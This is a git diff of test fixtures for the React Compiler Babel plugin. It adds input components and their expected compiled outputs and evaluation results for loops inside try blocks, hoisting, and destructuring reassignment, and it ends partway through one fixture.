+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoFreezingKnownMutableFunctions @enableNewMutationAliasingModel
+import { useCallback, useEffect, useRef } from "react";
+import { useHook } from "shared-runtime";
+
+// This was a false positive "can't freeze mutable function" in the old
+// inference model, fixed in the new inference model.
+function Component() {
+  const $ = _c(5);
+  const params = useHook();
+  let t0;
+  if ($[0] !== params) {
+    t0 = (partialParams) => {
+      const nextParams = { ...params, ...partialParams };
+      nextParams.param = "value";
+      console.log(nextParams);
+    };
+    $[0] = params;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const update = t0;
+
+  const ref = useRef(null);
+  let t1;
+  let t2;
+  if ($[2] !== update) {
+    t1 = () => {
+      if (ref.current === null) {
+        update();
+      }
+    };
+    t2 = [update];
+    $[2] = update;
+    $[3] = t1;
+    $[4] = t2;
+  } else {
+    t1 = $[3];
+    t2 = $[4];
+  }
+  useEffect(t1, t2);
+
+  return "ok";
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.js
new file mode 100644
index 000000000000..3ecfcca9c741
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.js
@@ -0,0 +1,28 @@
+// @validateNoFreezingKnownMutableFunctions @enableNewMutationAliasingModel
+import {useCallback, useEffect, useRef} from 'react';
+import {useHook} from 'shared-runtime';
+
+// This was a false positive "can't freeze mutable function" in the old
+// inference model, fixed in the new inference model.
+function Component() {
+  const params = useHook();
+  const update = useCallback(
+    partialParams => {
+      const nextParams = {
+        ...params,
+        ...partialParams,
+      };
+      nextParams.param = 'value';
+      console.log(nextParams);
+    },
+    [params]
+  );
+  const ref = useRef(null);
+  useEffect(() => {
+    if (ref.current === null) {
+      update();
+    }
+  }, [update]);
+
+  return 'ok';
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.expect.md
new file mode 100644
index 000000000000..7526832e6afa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.expect.md
@@ -0,0 +1,102 @@
+
+## Input
+
+```javascript
+function Foo({obj}) {
+  const keys = [];
+  try {
+    for (const key in obj) {
+      keys.push(key);
+    }
+  } catch (e) {
+    return <span>Error</span>;
+  }
+  return <span>{keys.join(', ')}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{obj: {a: 1, b: 2}}],
+  sequentialRenders: [
+    {obj: {a: 1, b: 2}},
+    {obj: {a: 1, b: 2}},
+    {obj: {x: 'hello', y: 'world'}},
+    {obj: {}},
+    {obj: {single: 'value'}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo(t0) {
+  const $ = _c(6);
+  const { obj } = t0;
+  let keys;
+  let t1;
+  if ($[0] !== obj) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      keys = [];
+      try {
+        for (const key in obj) {
+          keys.push(key);
+        }
+      } catch (t2) {
+        let t3;
+        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+          t3 = <span>Error</span>;
+          $[3] = t3;
+        } else {
+          t3 = $[3];
+        }
+        t1 = t3;
+        break bb0;
+      }
+    }
+    $[0] = obj;
+    $[1] = keys;
+    $[2] = t1;
+  } else {
+    keys = $[1];
+    t1 = $[2];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+
+  const t2 = keys.join(", ");
+  let t3;
+  if ($[4] !== t2) {
+    t3 = <span>{t2}</span>;
+    $[4] = t2;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ obj: { a: 1, b: 2 } }],
+  sequentialRenders: [
+    { obj: { a: 1, b: 2 } },
+    { obj: { a: 1, b: 2 } },
+    { obj: { x: "hello", y: "world" } },
+    { obj: {} },
+    { obj: { single: "value" } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>a, b</span>
+<span>a, b</span>
+<span>x, y</span>
+<span></span>
+<span>single</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.js
new file mode 100644
index 000000000000..73fb38474496
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-in-in-try.js
@@ -0,0 +1,23 @@
+function Foo({obj}) {
+  const keys = [];
+  try {
+    for (const key in obj) {
+      keys.push(key);
+    }
+  } catch (e) {
+    return <span>Error</span>;
+  }
+  return <span>{keys.join(', ')}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{obj: {a: 1, b: 2}}],
+  sequentialRenders: [
+    {obj: {a: 1, b: 2}},
+    {obj: {a: 1, b: 2}},
+    {obj: {x: 'hello', y: 'world'}},
+    {obj: {}},
+    {obj: {single: 'value'}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.expect.md
new file mode 100644
index 000000000000..932872e53884
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.expect.md
@@ -0,0 +1,95 @@
+
+## Input
+
+```javascript
+function Foo({items}) {
+  const results = [];
+  try {
+    for (let i = 0; i < items.length; i++) {
+      results.push(items[i]);
+    }
+  } catch (e) {
+    return <span>Error</span>;
+  }
+  return <span>{results.join(', ')}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{items: ['a', 'b', 'c']}],
+  sequentialRenders: [
+    {items: ['a', 'b', 'c']},
+    {items: ['a', 'b', 'c']},
+    {items: ['x', 'y']},
+    {items: []},
+    {items: ['single']},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo(t0) {
+  const $ = _c(5);
+  const { items } = t0;
+  let results;
+  let t1;
+  if ($[0] !== items) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      results = [];
+      try {
+        for (let i = 0; i < items.length; i++) {
+          results.push(items[i]);
+        }
+      } catch (t2) {
+        t1 = <span>Error</span>;
+        break bb0;
+      }
+    }
+    $[0] = items;
+    $[1] = results;
+    $[2] = t1;
+  } else {
+    results = $[1];
+    t1 = $[2];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+
+  const t2 = results.join(", ");
+  let t3;
+  if ($[3] !== t2) {
+    t3 = <span>{t2}</span>;
+    $[3] = t2;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ items: ["a", "b", "c"] }],
+  sequentialRenders: [
+    { items: ["a", "b", "c"] },
+    { items: ["a", "b", "c"] },
+    { items: ["x", "y"] },
+    { items: [] },
+    { items: ["single"] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>a, b, c</span>
+<span>a, b, c</span>
+<span>x, y</span>
+<span></span>
+<span>single</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.js
new file mode 100644
index 000000000000..8038d61a21d9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-loop-in-try.js
@@ -0,0 +1,23 @@
+function Foo({items}) {
+  const results = [];
+  try {
+    for (let i = 0; i < items.length; i++) {
+      results.push(items[i]);
+    }
+  } catch (e) {
+    return <span>Error</span>;
+  }
+  return <span>{results.join(', ')}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{items: ['a', 'b', 'c']}],
+  sequentialRenders: [
+    {items: ['a', 'b', 'c']},
+    {items: ['a', 'b', 'c']},
+    {items: ['x', 'y']},
+    {items: []},
+    {items: ['single']},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.expect.md
new file mode 100644
index 000000000000..20a46449dc9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.expect.md
@@ -0,0 +1,102 @@
+
+## Input
+
+```javascript
+function Foo({obj}) {
+  const items = [];
+  try {
+    for (const [key, value] of Object.entries(obj)) {
+      items.push(`${key}: ${value}`);
+    }
+  } catch (e) {
+    return <span>Error</span>;
+  }
+  return <span>{items.join(', ')}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{obj: {a: 1, b: 2}}],
+  sequentialRenders: [
+    {obj: {a: 1, b: 2}},
+    {obj: {a: 1, b: 2}},
+    {obj: {x: 'hello', y: 'world'}},
+    {obj: {}},
+    {obj: {single: 'value'}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo(t0) {
+  const $ = _c(6);
+  const { obj } = t0;
+  let items;
+  let t1;
+  if ($[0] !== obj) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      items = [];
+      try {
+        for (const [key, value] of Object.entries(obj)) {
+          items.push(`${key}: ${value}`);
+        }
+      } catch (t2) {
+        let t3;
+        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+          t3 = <span>Error</span>;
+          $[3] = t3;
+        } else {
+          t3 = $[3];
+        }
+        t1 = t3;
+        break bb0;
+      }
+    }
+    $[0] = obj;
+    $[1] = items;
+    $[2] = t1;
+  } else {
+    items = $[1];
+    t1 = $[2];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+
+  const t2 = items.join(", ");
+  let t3;
+  if ($[4] !== t2) {
+    t3 = <span>{t2}</span>;
+    $[4] = t2;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ obj: { a: 1, b: 2 } }],
+  sequentialRenders: [
+    { obj: { a: 1, b: 2 } },
+    { obj: { a: 1, b: 2 } },
+    { obj: { x: "hello", y: "world" } },
+    { obj: {} },
+    { obj: { single: "value" } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>a: 1, b: 2</span>
+<span>a: 1, b: 2</span>
+<span>x: hello, y: world</span>
+<span></span>
+<span>single: value</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.js
new file mode 100644
index 000000000000..5f5bae2e9ba6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-for-of-in-try.js
@@ -0,0 +1,23 @@
+function Foo({obj}) {
+  const items = [];
+  try {
+    for (const [key, value] of Object.entries(obj)) {
+      items.push(`${key}: ${value}`);
+    }
+  } catch (e) {
+    return <span>Error</span>;
+  }
+  return <span>{items.join(', ')}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{obj: {a: 1, b: 2}}],
+  sequentialRenders: [
+    {obj: {a: 1, b: 2}},
+    {obj: {a: 1, b: 2}},
+    {obj: {x: 'hello', y: 'world'}},
+    {obj: {}},
+    {obj: {single: 'value'}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.expect.md
index 4754b569aa2b..cee527e80748 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  const items = props.items.map((x) => x);
+  const items = props.items.map(x => x);
   const x = 42;
   return [x, items];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [0, 42, null, undefined, { object: true }] }],
+  params: [{items: [0, 42, null, undefined, {object: true}]}],
 };
 
 ```
@@ -20,17 +20,10 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(5);
+  const $ = _c(4);
   let t0;
   if ($[0] !== props.items) {
-    let t1;
-    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-      t1 = (x) => x;
-      $[2] = t1;
-    } else {
-      t1 = $[2];
-    }
-    t0 = props.items.map(t1);
+    t0 = props.items.map(_temp);
     $[0] = props.items;
     $[1] = t0;
   } else {
@@ -38,15 +31,18 @@ function Component(props) {
   }
   const items = t0;
   let t1;
-  if ($[3] !== items) {
+  if ($[2] !== items) {
     t1 = [42, items];
-    $[3] = items;
-    $[4] = t1;
+    $[2] = items;
+    $[3] = t1;
   } else {
-    t1 = $[4];
+    t1 = $[3];
   }
   return t1;
 }
+function _temp(x) {
+  return x;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.js
index 5e11afb72cf7..b776ea922038 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting-variable-collision.js
@@ -1,10 +1,10 @@
 function Component(props) {
-  const items = props.items.map((x) => x);
+  const items = props.items.map(x => x);
   const x = 42;
   return [x, items];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [0, 42, null, undefined, { object: true }] }],
+  params: [{items: [0, 42, null, undefined, {object: true}]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.expect.md
index 8415c0093e06..3188e5220703 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const wat = () => {
-    const pathname = "wat";
+    const pathname = 'wat';
     pathname;
   };
 
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ wat: "/dev/null", itemID: 42 }],
+  params: [{wat: '/dev/null', itemID: 42}],
 };
 
 ```
@@ -26,35 +26,29 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(3);
+  const wat = _temp;
+
+  const pathname_0 = props.wat;
+  const deeplinkItemId = pathname_0 ? props.itemID : null;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {};
+    t0 = () => wat();
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const wat = t0;
-
-  const pathname_0 = props.wat;
-  const deeplinkItemId = pathname_0 ? props.itemID : null;
   let t1;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = () => wat();
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  let t2;
-  if ($[2] !== deeplinkItemId) {
-    t2 = <button onClick={t1}>{deeplinkItemId}</button>;
-    $[2] = deeplinkItemId;
-    $[3] = t2;
+  if ($[1] !== deeplinkItemId) {
+    t1 = <button onClick={t0}>{deeplinkItemId}</button>;
+    $[1] = deeplinkItemId;
+    $[2] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[2];
   }
-  return t2;
+  return t1;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.js
index 73f03644b7a0..b328f44d667f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-hoisting.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const wat = () => {
-    const pathname = "wat";
+    const pathname = 'wat';
     pathname;
   };
 
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ wat: "/dev/null", itemID: 42 }],
+  params: [{wat: '/dev/null', itemID: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.expect.md
index d0c2412b8949..ea711a5baf4b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @flow @enableAssumeHooksFollowRulesOfReact
-function Component({ label, highlightedItem }) {
+function Component({label, highlightedItem}) {
   const serverTime = useServerTime();
   const highlight = new Highlight(highlightedItem);
 
@@ -23,7 +23,7 @@ function Component({ label, highlightedItem }) {
 }
 
 function useServerTime() {
-  "use no forget";
+  'use no forget';
 
   return {
     get() {
@@ -44,7 +44,7 @@ class Highlight {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ label: "<unused>", highlightedItem: "Seconds passed: " }],
+  params: [{label: '<unused>', highlightedItem: 'Seconds passed: '}],
 };
 
 ```
@@ -59,17 +59,14 @@ function Component(t0) {
   const serverTime = useServerTime();
   let t1;
   let timestampLabel;
-  if ($[0] !== highlightedItem || $[1] !== serverTime || $[2] !== label) {
+  if ($[0] !== highlightedItem || $[1] !== label || $[2] !== serverTime) {
     const highlight = new Highlight(highlightedItem);
-
     const time = serverTime.get();
-
     timestampLabel = time / 1000 || label;
-
     t1 = highlight.render();
     $[0] = highlightedItem;
-    $[1] = serverTime;
-    $[2] = label;
+    $[1] = label;
+    $[2] = serverTime;
     $[3] = t1;
     $[4] = timestampLabel;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.js
index 1b5b12c54ab3..22c855be6131 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.js
@@ -1,5 +1,5 @@
 // @flow @enableAssumeHooksFollowRulesOfReact
-function Component({ label, highlightedItem }) {
+function Component({label, highlightedItem}) {
   const serverTime = useServerTime();
   const highlight = new Highlight(highlightedItem);
 
@@ -19,7 +19,7 @@ function Component({ label, highlightedItem }) {
 }
 
 function useServerTime() {
-  "use no forget";
+  'use no forget';
 
   return {
     get() {
@@ -40,5 +40,5 @@ class Highlight {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ label: "<unused>", highlightedItem: "Seconds passed: " }],
+  params: [{label: '<unused>', highlightedItem: 'Seconds passed: '}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.expect.md
index f1fc418d92c3..f141eaa64f4c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 // @enableAssumeHooksFollowRulesOfReact
-import { Stringify, identity, useHook } from "shared-runtime";
+import {Stringify, identity, useHook} from 'shared-runtime';
 
-function Component({ index }) {
+function Component({index}) {
   const data = useHook();
 
   const a = identity(data, index);
@@ -23,7 +23,7 @@ function Component({ index }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ index: 0 }],
+  params: [{index: 0}],
 };
 
 ```
@@ -46,7 +46,6 @@ function Component(t0) {
     const a = identity(data, index);
     const b = identity(data, index);
     const c = identity(data, index);
-
     const t4 = identity(b);
     if ($[6] !== t4) {
       t2 = <Stringify value={t4} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.js
index 291885cbf1cc..8b1be23bcd85 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.js
@@ -1,7 +1,7 @@
 // @enableAssumeHooksFollowRulesOfReact
-import { Stringify, identity, useHook } from "shared-runtime";
+import {Stringify, identity, useHook} from 'shared-runtime';
 
-function Component({ index }) {
+function Component({index}) {
   const data = useHook();
 
   const a = identity(data, index);
@@ -19,5 +19,5 @@ function Component({ index }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ index: 0 }],
+  params: [{index: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.expect.md
new file mode 100644
index 000000000000..544366b1de6e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.expect.md
@@ -0,0 +1,162 @@
+
+## Input
+
+```javascript
+// @flow @compilationMode:"infer"
+'use strict';
+
+function getWeekendDays(user) {
+  return [0, 6];
+}
+
+function getConfig(weekendDays) {
+  return [1, 5];
+}
+
+component Calendar(user, defaultFirstDay, currentDate, view) {
+  const weekendDays = getWeekendDays(user);
+  let firstDay = defaultFirstDay;
+  let daysToDisplay = 7;
+  if (view === 'week') {
+    let lastDay;
+    // this assignment produces invalid code
+    [firstDay, lastDay] = getConfig(weekendDays);
+    daysToDisplay = ((7 + lastDay - firstDay) % 7) + 1;
+  } else if (view === 'day') {
+    firstDay = currentDate.getDayOfWeek();
+    daysToDisplay = 1;
+  }
+
+  return [currentDate, firstDay, daysToDisplay];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Calendar,
+  params: [
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: {getDayOfWeek: () => 3},
+      view: 'week',
+    },
+  ],
+  sequentialRenders: [
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: {getDayOfWeek: () => 3},
+      view: 'week',
+    },
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: {getDayOfWeek: () => 3},
+      view: 'day',
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+"use strict";
+import { c as _c } from "react/compiler-runtime";
+
+function getWeekendDays(user) {
+  return [0, 6];
+}
+
+function getConfig(weekendDays) {
+  return [1, 5];
+}
+
+function Calendar(t0) {
+  const $ = _c(12);
+  const { user, defaultFirstDay, currentDate, view } = t0;
+  let daysToDisplay;
+  let firstDay;
+  if (
+    $[0] !== currentDate ||
+    $[1] !== defaultFirstDay ||
+    $[2] !== user ||
+    $[3] !== view
+  ) {
+    const weekendDays = getWeekendDays(user);
+    firstDay = defaultFirstDay;
+    daysToDisplay = 7;
+    if (view === "week") {
+      let lastDay;
+
+      [firstDay, lastDay] = getConfig(weekendDays);
+      daysToDisplay = ((7 + lastDay - firstDay) % 7) + 1;
+    } else {
+      if (view === "day") {
+        let t1;
+        if ($[6] !== currentDate) {
+          t1 = currentDate.getDayOfWeek();
+          $[6] = currentDate;
+          $[7] = t1;
+        } else {
+          t1 = $[7];
+        }
+        firstDay = t1;
+        daysToDisplay = 1;
+      }
+    }
+    $[0] = currentDate;
+    $[1] = defaultFirstDay;
+    $[2] = user;
+    $[3] = view;
+    $[4] = daysToDisplay;
+    $[5] = firstDay;
+  } else {
+    daysToDisplay = $[4];
+    firstDay = $[5];
+  }
+  let t1;
+  if ($[8] !== currentDate || $[9] !== daysToDisplay || $[10] !== firstDay) {
+    t1 = [currentDate, firstDay, daysToDisplay];
+    $[8] = currentDate;
+    $[9] = daysToDisplay;
+    $[10] = firstDay;
+    $[11] = t1;
+  } else {
+    t1 = $[11];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Calendar,
+  params: [
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: { getDayOfWeek: () => 3 },
+      view: "week",
+    },
+  ],
+
+  sequentialRenders: [
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: { getDayOfWeek: () => 3 },
+      view: "week",
+    },
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: { getDayOfWeek: () => 3 },
+      view: "day",
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"getDayOfWeek":"[[ function params=0 ]]"},1,5]
+[{"getDayOfWeek":"[[ function params=0 ]]"},3,1]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.js
new file mode 100644
index 000000000000..461d6bf16dfb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.js
@@ -0,0 +1,53 @@
+// @flow @compilationMode:"infer"
+'use strict';
+
+function getWeekendDays(user) {
+  return [0, 6];
+}
+
+function getConfig(weekendDays) {
+  return [1, 5];
+}
+
+component Calendar(user, defaultFirstDay, currentDate, view) {
+  const weekendDays = getWeekendDays(user);
+  let firstDay = defaultFirstDay;
+  let daysToDisplay = 7;
+  if (view === 'week') {
+    let lastDay;
+    // this assignment produces invalid code
+    [firstDay, lastDay] = getConfig(weekendDays);
+    daysToDisplay = ((7 + lastDay - firstDay) % 7) + 1;
+  } else if (view === 'day') {
+    firstDay = currentDate.getDayOfWeek();
+    daysToDisplay = 1;
+  }
+
+  return [currentDate, firstDay, daysToDisplay];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Calendar,
+  params: [
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: {getDayOfWeek: () => 3},
+      view: 'week',
+    },
+  ],
+  sequentialRenders: [
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: {getDayOfWeek: () => 3},
+      view: 'week',
+    },
+    {
+      user: {},
+      defaultFirstDay: 1,
+      currentDate: {getDayOfWeek: () => 3},
+      view: 'day',
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.expect.md
new file mode 100644
index 000000000000..8c3d29354a5d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {CONST_TRUE, Stringify, mutate, useIdentity} from 'shared-runtime';
+
+/**
+ * Fixture showing an edge case for ReactiveScope variable propagation.
+ * Fixed in the new inference model
+ *
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
